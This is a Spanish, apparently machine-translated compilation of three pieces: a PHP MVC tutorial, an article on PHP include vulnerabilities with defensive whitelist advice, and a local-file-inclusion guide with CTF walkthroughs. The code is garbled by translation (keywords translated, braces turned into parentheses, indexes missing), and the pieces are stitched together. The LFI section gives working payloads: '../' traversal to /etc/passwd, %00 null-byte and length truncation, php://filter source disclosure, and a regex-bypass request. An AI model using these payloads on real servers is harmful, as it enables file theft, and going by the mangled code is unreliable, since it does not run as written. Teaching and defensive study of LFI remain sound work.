    switch($_GET["action"]) ( case "about" : require_once("about.php"); // salto de página "Acerca de nosotros"; case "contacts" : require_once("contacts.php"); // salto de página "Contactos"; caso "comentarios" : require_once("feedback.php"); // salto de página "comentarios"; predeterminado: require_once("page404.php");
    Creo que casi todo el mundo ha hecho esto antes.

    Con un motor de enrutamiento de URL, puede configurar su aplicación para aceptar solicitudes como esta para mostrar la misma información:
    http://www.example.com/contacts/feedback

    Aquí los contactos representan el controlador y la retroalimentación es el método del controlador de contactos que muestra el formulario. comentario etc. Volveremos a esta cuestión en la parte práctica.

    También vale la pena saber que los enrutadores de muchos marcos web le permiten crear rutas URL personalizadas (especifique qué significa cada parte de la URL) y reglas para procesarlas.
    Ahora tenemos suficientes conocimientos teóricos para pasar a la práctica.

    2. Practica Primero, creemos la siguiente estructura de archivos y carpetas:


    De cara al futuro, diré que las clases principales Modelo, Vista y Controlador se almacenarán en la carpeta principal.
    Sus hijos se almacenarán en los directorios de controladores, modelos y vistas. El archivo index.php es el punto de entrada a la aplicación. El archivo bootstrap.php inicia la carga de la aplicación, conectando todos los módulos necesarios, etc.

    Iremos de forma secuencial; Abramos el archivo index.php y rellénelo con el siguiente código:
    ini_set("display_errors", 1); require_once "aplicación/bootstrap.php";
    No debería haber ninguna pregunta aquí.

    A continuación, vayamos inmediatamente al archivo bootstrap.php:
    require_once "núcleo/model.php"; require_once "núcleo/view.php"; require_once "núcleo/controlador.php"; require_once "núcleo/ruta.php"; Ruta::inicio(); //iniciar el enrutador
    Las primeras tres líneas incluirán archivos del kernel que actualmente no existen. Las últimas líneas incluyen el archivo con la clase de enrutador y lo lanzan para su ejecución llamando método estático comenzar.

    2.1. Implementación de un enrutador URL Desviémonos de la implementación por ahora patrón MVC y hagamos enrutamiento. El primer paso que debemos hacer es escribir el siguiente código en .htaccess:
    RewriteEngine en RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Este código redirigirá todo el procesamiento de la página a index.php, que es lo que necesitamos. ¿Recuerdas que en la primera parte hablamos del Front Controller?

    Colocaremos la ruta en archivo separado route.php al directorio principal. En este archivo describiremos la clase Ruta, que ejecutará métodos de controlador, que a su vez generarán la vista de página.

    Contenido del archivo route.php

    class Ruta ( función estática start() ( // controlador y acción predeterminada $controller_name = "Main"; $action_name = "index"; $routes = explode("/", $_SERVER["REQUEST_URI"]); // get el nombre del controlador if (!empty($routes)) ( $controller_name = $routes; ) // obtiene el nombre de la acción if (!empty($routes)) ( $action_name = $routes; ) // agrega prefijos $model_name = " Model_".$controller_name; $controller_name = "Controller_".$controller_name; $action_name = "action_".$action_name // conecta el archivo con la clase de modelo (puede que no haya un archivo de modelo) $model_file = strtolower ($model_name). ".php"; $model_path = "aplicación/modelos/".$model_file; if(file_exists($model_path)) (incluye "aplicación/modelos/".$model_file; ) // conecta el archivo con la clase de controlador $controller_file = strtolower ($controller_name).php"; $controller_path = "application/controllers/".$controller_file; if(file_exists($controller_path)) (incluye "application/controllers/".$controller_file; ) else ( /* sería correcto lanzar una excepción aquí, pero para simplificar las cosas, redireccionaremos inmediatamente a la página 404 */ Route::ErrorPage404(); ) // crea un controlador $controller = new $controller_name ;$acción = $nombre_acción;


    if(method_exists($controller, $action)) ( // llamar a la acción del controlador $controller->$action(); ) else ( // aquí también sería más prudente lanzar una excepción Route::ErrorPage404(); ) ) función ErrorPage404( ) ( $host = "http://".$_SERVER["HTTP_HOST"]."/"; encabezado("HTTP/1.1 404

    Extraviado
    Por ejemplo: ejemplo.ru/contacts/feedback

    Usando la función explotar La dirección se divide en componentes. Como resultado, obtenemos el nombre del controlador, en el ejemplo dado, este es controlador contactos y el nombre de la acción, en nuestro caso - comentario.

    A continuación, se conectan el archivo del modelo (puede que falte el modelo) y el archivo del controlador, si lo hay, y finalmente, se crea una instancia del controlador y se llama a la acción, nuevamente, si se describió en la clase del controlador.

    Así, al dirigirse a, por ejemplo, la dirección:
    ejemplo.com/portfolio
    o
    ejemplo.com/portfolio/index
    El enrutador realizará las siguientes acciones:

  • incluirá el archivo model_portfolio.php de la carpeta de modelos, que contiene la clase Model_Portfolio;
  • incluirá el archivo controlador_portfolio.php de la carpeta de controladores, que contiene la clase Controlador_Portfolio;
  • creará una instancia de la clase Controller_Portfolio y llamará a la acción predeterminada: action_index, descrita en ella.
  • Si el usuario intenta acceder a la dirección de un controlador inexistente, por ejemplo:
    ejemplo.com/ufo
    luego será redirigido a la página "404":
    ejemplo.com/404
    Lo mismo ocurrirá si el usuario accede a una acción que no está descrita en el responsable del tratamiento.2.2. Volvamos a la implementación de MVC. Vayamos a la carpeta principal y agreguemos tres archivos más al archivo route.php: model.php, view.php y controlador.php.


    Permítanme recordarles que contendrán clases base, que ahora comenzaremos a escribir.

    Contenido del archivo model.php
    Modelo de clase (función pública get_data() ())
    La clase modelo contiene un único método de recuperación de datos vacío, que se anulará en las clases descendientes. Cuando creemos clases descendientes todo quedará más claro.

    Contenido del archivo view.php
    class View ( //public $template_view; // aquí puede especificar la vista general predeterminada. function generate($content_view, $template_view, $data = null) ( /* if(is_array($data)) ( // convertir matriz elementos en variables extraer($datos) */ incluyen "aplicación/vistas/".$template_view;
    No es difícil adivinar que el método generar destinado a formar una vista. Se le pasan los siguientes parámetros:

  • $content_file - vistas que muestran el contenido de la página;
  • $template_file - plantilla común a todas las páginas;
  • $data es una matriz que contiene elementos de contenido de la página. Generalmente se completa en el modelo.
  • La función de inclusión conecta dinámicamente una plantilla general (vista) dentro de la cual se incrustará la vista.
    para mostrar el contenido de una página específica.

    En nuestro caso, la plantilla general contendrá encabezado, menú, barra lateral y pie de página, y el contenido de la página estará contenido en un formulario separado. Nuevamente, esto se hace por simplicidad.

    Contenido del archivo controlador.php
    controlador de clase (público $modelo; público $vista; función __construct() ( $this->vista = nueva Vista(); ) función action_index() ( ) )
    Método índice_acción- esta es una acción llamada de forma predeterminada; la anularemos al implementar clases descendientes.

    2.3. Implementación de las clases descendientes Modelo y Controlador, creación de Vistas ¡Ahora comienza la diversión! Nuestro sitio web de tarjeta de presentación constará de las siguientes páginas:
  • Hogar
  • Servicios
  • Cartera
  • Contactos
  • Y también - la página "404"
  • Cada página tiene su propio controlador de la carpeta de controladores y una vista de la carpeta de vistas. Algunas páginas pueden utilizar un modelo o modelos de la carpeta de modelos.


    En la figura anterior, el archivo template_view.php está resaltado por separado; esta es una plantilla que contiene marcas comunes a todas las páginas. En el caso más sencillo podría verse así:
    Hogar
    Para darle al sitio un aspecto presentable, creamos plantilla css e integrarlo en nuestro sitio web cambiando la estructura del marcado HTML y Conexiones CSS y archivos JavaScript:

    Al final del artículo, en la sección “Resultado”, hay un enlace a un repositorio de GitHub con un proyecto en el que se han dado pasos para integrar una plantilla sencilla.

    2.3.1. Creando la página principal Comencemos con el controlador controlador_main.php, aquí está su código:
    clase Controller_Main extiende el controlador (función action_index() ($this->view->generate("main_view.php", "template_view.php"); ) )
    en método generar una instancia de la clase Vista, se pasan los nombres de los archivos de la plantilla general y la vista con el contenido de la página.
    Además de la acción de índice, el controlador puede, por supuesto, contener otras acciones.

    Revisamos el archivo de vista general anteriormente. Considere el archivo de contenido main_view.php:
    ¡Bienvenido!

    OLOLOSH TEAM es un equipo de especialistas de primera clase en el campo del desarrollo de sitios web con muchos años de experiencia coleccionando máscaras mexicanas, estatuas de bronce y piedra de la India y Ceilán, bajorrelieves y esculturas creadas por maestros del África Ecuatorial hace cinco o seis siglos...


    Contiene marcado simple sin llamadas PHP.
    Para mostrar la página principal, puede utilizar una de las siguientes direcciones:

    Consideraremos un ejemplo utilizando una vista que muestra los datos obtenidos del modelo siguiente.

    2.3.2. Crear una página “Portafolio” En nuestro caso, la página “Portafolio” es la única página que utiliza el modelo.
    El modelo suele incluir métodos de muestreo de datos, por ejemplo:
  • métodos de bibliotecas nativas pgsql o mysql;
  • métodos de bibliotecas que implementan la abstracción de datos. Por ejemplo, métodos de la biblioteca PEAR MDB2;
  • métodos ORM;
  • métodos para trabajar con NoSQL;
  • etc.
  • Para simplificar, aquí no utilizaremos consultas SQL ni declaraciones ORM. En su lugar, emularemos datos reales y devolveremos inmediatamente una serie de resultados.
    Coloque el archivo de modelo model_portfolio.php en la carpeta de modelos. Aquí tenéis su contenido:
    clase Model_Portfolio extiende el modelo ( función pública get_data() ( return array(array("Año" => "2012", "Sitio" => "http://DunkelBeer.ru", "Descripción" => "Sitio promocional de la cerveza oscura Dunkel de fabricante alemán Löwenbraü producido en Rusia por la empresa cervecera "SUN InBev."), array("Año" => "2012", "Sitio" => "http://ZopoMobile.ru", "Descripción" => "Idioma ruso catalogar teléfonos chinos empresa zopo en Basado en Android SO y accesorios para ellos."), // todo); ) )

    La clase de controlador del modelo está contenida en el archivo controlador_portfolio.php, aquí está su código:
    clase Controller_Portfolio extiende Controlador ( function __construct() ($this->model = new Model_Portfolio(); $this->view = new View(); ) function action_index() ($data = $this->model->get_data( ); $this->view->generate("portfolio_view.php", "template_view.php", $datos ) );
    a una variable datos se escribe la matriz devuelta por el método obtener_datos que vimos antes.
    Luego, esta variable se pasa como parámetro del método. generar, que también contiene: el nombre del archivo con la plantilla general y el nombre del archivo que contiene la vista con el contenido de la página.

    La vista que contiene el contenido de la página se encuentra en el archivo portfolio_view.php.
    Cartera

    Todos los proyectos de la siguiente tabla son ficticios, así que ni siquiera intentes seguir los enlaces proporcionados.
    AñoProyectoDescripción


    Aquí todo es sencillo, la vista muestra los datos obtenidos del modelo.

    2.3.3. Crear las páginas restantes Las páginas restantes se crean de la misma manera. Su código está disponible en el repositorio de GitHub, cuyo enlace se proporciona al final del artículo, en la sección "Resultado".3. Resultado Esto es lo que sucedió al final:

    Captura de pantalla del sitio web de tarjetas de presentación resultante



    Enlace de GitHub: https://github.com/vitalyswipe/tinymvc/zipball/v0.1

    Pero en esta versión esbocé las siguientes clases (y sus tipos correspondientes):

    • Controller_Login en el que se genera una vista con un formulario para ingresar nombre de usuario y contraseña, luego de completarlo se realiza el procedimiento de autenticación y, si tiene éxito, se redirige al usuario al panel de administración.
    • Contorller_Admin con una acción de índice que verifica si el usuario estaba previamente autorizado en el sitio como administrador (si es así, se muestra la vista del panel de administración) y una acción de cierre de sesión para cerrar sesión.
    La autenticación y la autorización son un tema diferente, por lo que no se analizan aquí, pero solo se proporciona el enlace proporcionado anteriormente para que tenga algo desde donde comenzar.4. Conclusión El patrón MVC se utiliza como base arquitectónica en muchos frameworks y CMS que fueron creados para poder desarrollar soluciones cualitativamente más complejas en menos tiempo. Corto plazo. Esto fue posible aumentando el nivel de abstracción, ya que existe un límite en la complejidad de las estructuras con las que puede operar el cerebro humano.

    Pero no siempre es recomendable utilizar frameworks web como Yii o Kohana, que constan de varios cientos de archivos, al desarrollar aplicaciones web simples (por ejemplo, sitios de tarjetas de presentación). Ahora podemos crear un hermoso modelo MVC para no mezclar Php, Html, CSS y código javascript en un archivo.

    Este artículo es más un punto de partida para aprender CMF que un ejemplo de algo realmente correcto que puede utilizar como base para su aplicación web. Quizás incluso te haya inspirado y ya estés pensando en escribir tu propio microframework o CMS basado en MVC. Pero, antes de reinventar otra rueda con “blackjack y putas”, piénsalo de nuevo: ¡¿tal vez sería más razonable dirigir tus esfuerzos al desarrollo y ayuda a la comunidad de un proyecto ya existente?!

    P.D.: El artículo fue reescrito teniendo en cuenta algunos comentarios dejados en los comentarios. La crítica resultó muy útil. A juzgar por la respuesta: comentarios, MP y la cantidad de usuarios que agregaron la publicación a favoritos, la idea de escribir esta publicación resultó no ser tan mala. Desafortunadamente, no es posible tener en cuenta todos los deseos y escribir más y con más detalle debido a la falta de tiempo... pero tal vez esos misteriosos individuos que rechazaron la versión original lo hagan. ¡Buena suerte con tus proyectos!

    5. Una selección de enlaces útiles sobre el tema El artículo toca muy a menudo el tema de los frameworks web; se trata de un tema muy amplio, porque incluso los microframeworks constan de muchos componentes inteligentemente interconectados y se necesitaría más de un artículo para hablar de ellos. componentes. Sin embargo, decidí traer aquí. pequeña selección enlaces (que seguí al escribir este artículo) que de una forma u otra se relacionan con el tema de los marcos.

    Etiquetas: Agregar etiquetas

    En este artículo, le contaré sobre una de las vulnerabilidades más comunes que se encuentran en los scripts PHP: el "error" de inclusión. Aprenderá tanto el principio de funcionamiento como algunas formas de eliminar esta vulnerabilidad.

    ¡¡¡Atención!!! ¡Toda la información presentada en este artículo es solo para fines informativos! ¡El autor no asume ninguna responsabilidad por su uso malicioso!

    La vulnerabilidad php-include es uno de los "agujeros" más famosos, pero también el más común, que se encuentran en los scripts PHP en la actualidad. Ocurre cuando, por falta de atención, ignorancia o por alguna otra razón que sólo él conoce, el programador permite el uso de datos pasados ​​​​al script en forma de parámetros, sin verificación adicional (dichos datos también se denominan "etiquetados" ) como parámetro de la función de inclusión. Para comprender mejor el principio de funcionamiento de esta vulnerabilidad, es necesario tener cierta comprensión de la función mencionada anteriormente.

    La función PHP incluye y también incluye_once

    Esta función se utiliza para conectarse a ejecutando php escenario de adicional módulos de software. Además, a diferencia de require, que es similar en propiedades, la función include ejecuta estos módulos directamente en su proceso. En consecuencia, los módulos adjuntos de esta manera no se ejecutarán como scripts separados, sino como partes del script que los conecta. Más precisamente, incluir ejecutará sólo la parte del archivo que está encerrada entre especial. etiquetas:

    ""

    Todo lo demás simplemente se genera mediante php como texto. Aquellos. Si conecta un archivo de texto (por ejemplo: /etc/passwd:)) que no contiene las etiquetas especificadas, el intérprete devolverá todo el contenido de este archivo.

    Llamada de ejemplo:

    Como probablemente habrás notado, la función de inclusión tiene solo 1 parámetro ($file), que especifica la ruta y el nombre del archivo del complemento. También vale la pena señalar que en sistemas tipo Unix (dependiendo de la configuración de PHP), puede pasar como parámetro no solo la ruta y el nombre del archivo, sino también la URL (dirección de Internet) del archivo (!!!).

    Práctica

    Supongamos que el siguiente script PHP está instalado en algún servidor WEB (su URL es http://www.superpupersite.com/index.php):

    Y también muchos módulos de script complementarios diferentes para ello:

    inicio.php
    comentarios.php
    ...

    El autor de este script asumió que todos los visitantes del sitio pasarían pacíficamente de una página a otra haciendo clic en botones, enlaces y otros objetos de control. Y el script, dependiendo del parámetro del archivo pasado, adjuntará uno u otro módulo, generando así varias páginas html (la mayoría de las veces se usa include).

    Ni siquiera podía imaginar que un día (en el frío invierno) un tal curioso Vasya Pupkin entraría en el lugar. ¿Quién, basándose en su curiosidad al mirar estos mismos enlaces, asumiría (aunque todavía no sabe cómo y qué hay realmente allí) que el parámetro del archivo no es más que el nombre y la ruta al archivo y que el script usa el comando include? función (no es sorprendente, porque hoy en día incluir se usa en casi uno de cada tres scripts). Vasya inmediatamente decidió comprobar su suposición de la siguiente manera:

    Vasya cumplió la siguiente petición:

    ¡Y lo hizo! Como era de esperar, en la ventana del navegador vio una lista de archivos y directorios. Además, progresivamente se fue descubriendo el “agujero”, y se utilizaron escenarios no menos interesantes, cuya descripción detallada ocuparía mucho espacio y por estos motivos no se publica aquí :) En general, durante mucho tiempo o por Al poco tiempo, todo terminó en una desfiguración (defacement - reemplazar la página de inicio por la propia). ¡Qué triste historia!

    control de plagas

    Después de leer todo lo anterior, muchos de ustedes se preguntarán: “¿Existen métodos para combatir esta terrible vulnerabilidad?” “Sí”, respondo con orgullo :) . Éstos son algunos (de ninguna manera todos) de ellos:

    La forma más sencilla, desde el punto de vista de la programación, es convertir la variable $module a un formato numérico (settype($module,"integer"), pero esto requerirá numerar los módulos y también recopilarlos en un directorio ("module1 .php”, “módulo2.php”…”módulo.php”).

    Un método de control de plagas más complejo desde el punto de vista de la implementación :) es la creación de una lista de archivos separada de módulos que se pueden ejecutar. Y dependiendo de si este o aquel módulo está en la lista, ejecuta o tira el error correspondiente (o ejecuta el módulo por defecto, o si quieres asustar al “experimentador” dándole un mensaje de que su dirección está arreglada y para que seca galletas... ).
    Ejemplo:
    switch ($case) // $case - nombre de la variable pasada como parámetro al script
    {
    noticias del caso:
    incluir("noticias.php");
    romper;

    artículos de casos:
    incluir("libro de visitas.php");
    romper;

    ... // etc.
    por defecto:
    incluir("index.php"); // si la variable $case no contiene el valor que se tiene en cuenta arriba, entonces se abre la página principal
    romper;
    }

    El tercer método es intermedio, algo entre el primero y el segundo. Sólo necesita reemplazar todos los caracteres de servicio (""..","/",""), por ejemplo, con guiones. Es cierto que los módulos (¡¡¡solo los módulos ejecutables y nada más deben ubicarse allí!!!) en este caso deben ubicarse en el mismo directorio, pero sus nombres pueden ser palabras normales (por ejemplo, "noticias", "libro de visitas", etc. .).
    Conclusión

    Eso es básicamente todo lo que quería decirte esta vez. La conclusión de todo esto podría ser la siguiente: antes de utilizar los datos recibidos del usuario en sus scripts web, piense si es necesario verificarlos previamente y procesarlos adecuadamente. Esto se aplica no sólo a los campos de datos de formulario transmitidos por el navegador ( obtener métodos y publicar), pero también cookies (un atacante también puede acceder a ellas).

    LFI es la capacidad de usar y ejecutar archivos locales en el lado del servidor. La vulnerabilidad permite a un usuario remoto obtener acceso mediante una solicitud especialmente diseñada a archivos arbitrarios en el servidor, incluidos aquellos que contienen información confidencial.

    En pocas palabras, se trata de una vulnerabilidad al abrir archivos desde el servidor + filtrado insuficiente, lo que le permite abrir un archivo arbitrario.

    Inclusión de archivos de búsqueda

    Primero, descubramos cómo determinar los parámetros responsables de incluir archivos.

    Parámetros de búsqueda
    Hay dos opciones para buscar parámetros: búsqueda automática o manual.

    Búsqueda automática
    Se puede realizar una búsqueda automática utilizando la misma araña en burpsuite. Puedes encontrar el artículo de burpsuite en nuestra wiki.

    búsqueda manual
    Ahora hablaré de la búsqueda manual. Supongamos que encontramos un parámetro GET:

    Http://site.ru/folder/index.php?file=gallery

    Sustituyamos el parámetro por la cadena "índice":

    Http://site.ru/folder/index.php?file=index

    Si ha abierto uno de los archivos index. (cualquier extensión) ubicado en el sitio, definitivamente podemos decir que el archivo es responsable del intercambio de archivos.

    Estos son los parámetros que necesitamos.

    Definición de filtros
    Una vez que hayamos recibido una lista de parámetros, debemos verificar si tienen filtrado.

    Filtración cero
    Intentemos subir archivos que no esperábamos mostrar =)

    El equivalente de dicho archivo en Linux es el archivo /etc/passwd

    (En este caso, tomamos http://site.ru/folder/index.php?file=index.html como línea con el parámetro)

    Intentemos animarlo:

    Http://site.ru/folder/index.php?file=/../../../../../../etc/passwd

    Explicaré lo que está sucediendo: ir a la carpeta /../ significa ascender en la jerarquía (más precisamente, esta es una vulnerabilidad de recorrido de ruta). Porque carpeta, etc. se encuentra en la carpeta raíz, entonces debemos llegar a ella adivinando: es decir, cuanto más subamos, mayor será la probabilidad de terminar en la carpeta raíz (entonces debemos escribir /../ varias veces).

    Si aparece el archivo. Entonces considera que has encontrado LFI. En este caso no hay ningún filtro.

    byte nulo
    En este caso, tomamos http://site.ru/folder/index.php?file=index como la línea con el parámetro, es decir, con el final que falta.
    Pero incluso sin filtro pueden surgir problemas. Por ejemplo, se puede agregar un sufijo al final del parámetro.

    Por ejemplo, con la solicitud /../../../../../../etc/passwd se puede convertir a

    /../../../../../../etc/passwd.php

    Pero esta vez hay una opción para corregir la línea. Las versiones anteriores de PHP todavía tienen un defecto como la inyección de bytes nulos.
    Uno de ellos es asignar un byte nulo. Los parámetros, cuando se transmiten a través de http, se cifran en cifrado de URL. Y en esta codificación, el byte cero se ve exactamente como %00.

    y porque En PHP y muchos otros lenguajes, cuando una línea se lee exactamente hasta el byte cero, podemos asignarla al medio de la línea para que se descarte la siguiente parte de la línea.

    En este caso, si ingresamos /../../../../../../etc/passwd.php%00 en el parámetro, obtendremos la siguiente línea:

    Http://site.ru/folder/index.php?file=/../../../../../../etc/passwd%00

    Y la línea en la memoria del servidor se verá así:

    /../../../../../../etc/passwd%00.php ==> /../../../../../../etc/ contraseña

    Y al final pudimos descartar el final y obtener el archivo deseado.

    Límite de cadena
    Otra opción para descartar el final es posible con String Limit: acortar la cadena.
    ¿Y cuál es el beneficio de esto? Pero, ¿qué pasa si descartamos la parte de la línea con el final, entonces obtendremos la línea que necesitamos, pero sin el final?

    Esta vez la línea /./ puede ayudarnos. Te explico lo que está pasando:

    /./././././índice === índice

    Más precisamente, en bash estas dos líneas son idénticas. Déjame darte un ejemplo de cómo esto puede ayudar.

    1) Tenemos un parámetro, cuya cadena se acorta a 100 caracteres 2) Intentemos mostrar el archivo index.txt, siempre que se asigne la terminación .php 3) Intentemos ingresar index.txt; como resultado, Se genera index.txt.php 4) Para evitar la protección, debe ingresar index.txt/././././../....../././ 5) Como resultado, Resulta que a esta larga línea se le añade .php, que posteriormente se descarta 6 ) ¡Beneficio!

    filtro php
    Para mí, la opción más interesante para lfi es lfi con filtro php. Te daré un ejemplo de inmediato.

    Http://site.ru/folder/index.php?file=php://filter/convert.base64-encode/resource=index

    Como resultado, no se iniciará en nuestro navegador. archivo php y se mostrarán sus fuentes base64.
    esto esta en últimamente Aparece cada vez con más frecuencia en competiciones.

    Explotación de la vulnerabilidad

    Si está leyendo este párrafo, lo más probable es que ya haya encontrado LFI. Luego descubriremos cómo puede resultarnos útil.

    Recuperar archivos importantes (no scripts)
    Pues lo más típico de lfi es descargar archivos que según el plan del administrador no deberíamos haber descargado. A continuación se muestra un ejemplo de una tarea:

    Tarea: dado un servicio de alojamiento de archivos, hay varias cuentas: administrador y usuario (y prueba de contraseña). Debe descargar el archivo flag.txt almacenado en la cuenta de administrador. Solución: 1) Sube tu archivo y mira el enlace para descargarlo. Se verá así http://site.ru/download.php?file=user/image.png 2) De hecho, la carpeta de usuario existe. Pero al descargar desde el enlace http://site.ru/user/image.png aparece un error 403, lo cual es bastante lógico.

    3) Por si acaso, creemos un enlace con un archivo que claramente falta en la carpeta del usuario, y si la respuesta es 404, entonces entendemos que la respuesta es 403 == respuesta 200. 4) Comprobemos si es cierto que nuestro El archivo debe estar en la ruta admin/flag txt: http://site.ru/admin/flag.txt devuelve 403 (recuerde el punto anterior).
    5) ¿Por qué no, ya que no podemos descargar, apuntar el script download.php al archivo que necesitamos? Intentamos ir a http://site.ru/download.php?file=admin/flag.txt y obtener el archivo. 6) ¡Beneficio! Obteniendo fuentes
    Puede haber algunos problemas para obtener las fuentes. Por ejemplo, durante el funcionamiento, las fuentes no se muestran, sino que se inician. En este caso, nos ayuda lo siguiente:

    veces php
    filtrar.

    Los ejemplos aquí son bastante simples, por lo que no veo ningún sentido en darlos.

    LFI -> RCE

    Porque Dado que esta sección ya se está convirtiendo en una sección más peligrosa del ICE, es bastante lógico trasladar la discusión sobre este tema a ella. Busca en la web =)

    1. Mire la ruta a las imágenes, abra la carpeta /files/ directamente y vea la carpeta /flag/ 2. Verifique la existencia del archivo /files/flag/flag.txt (error 403) 3. Habiendo verificado burpsuit, notamos que algunas imágenes se cargan como imágenes .php?id=files/images/heart.jpg 4. Con images.php?id = php://filter/convert.base64-encode/resource=files/images/heart. jpg la imagen se devuelve sin cifrar, lo que sugiere la idea de una expresión regular. 5. Estudie el formulario y omita la expresión regular usando la solicitud: images.php?id=php://abcdresource=files/flag/heart. .jpg/resource=files/flag/flag.txt



    
    Arriba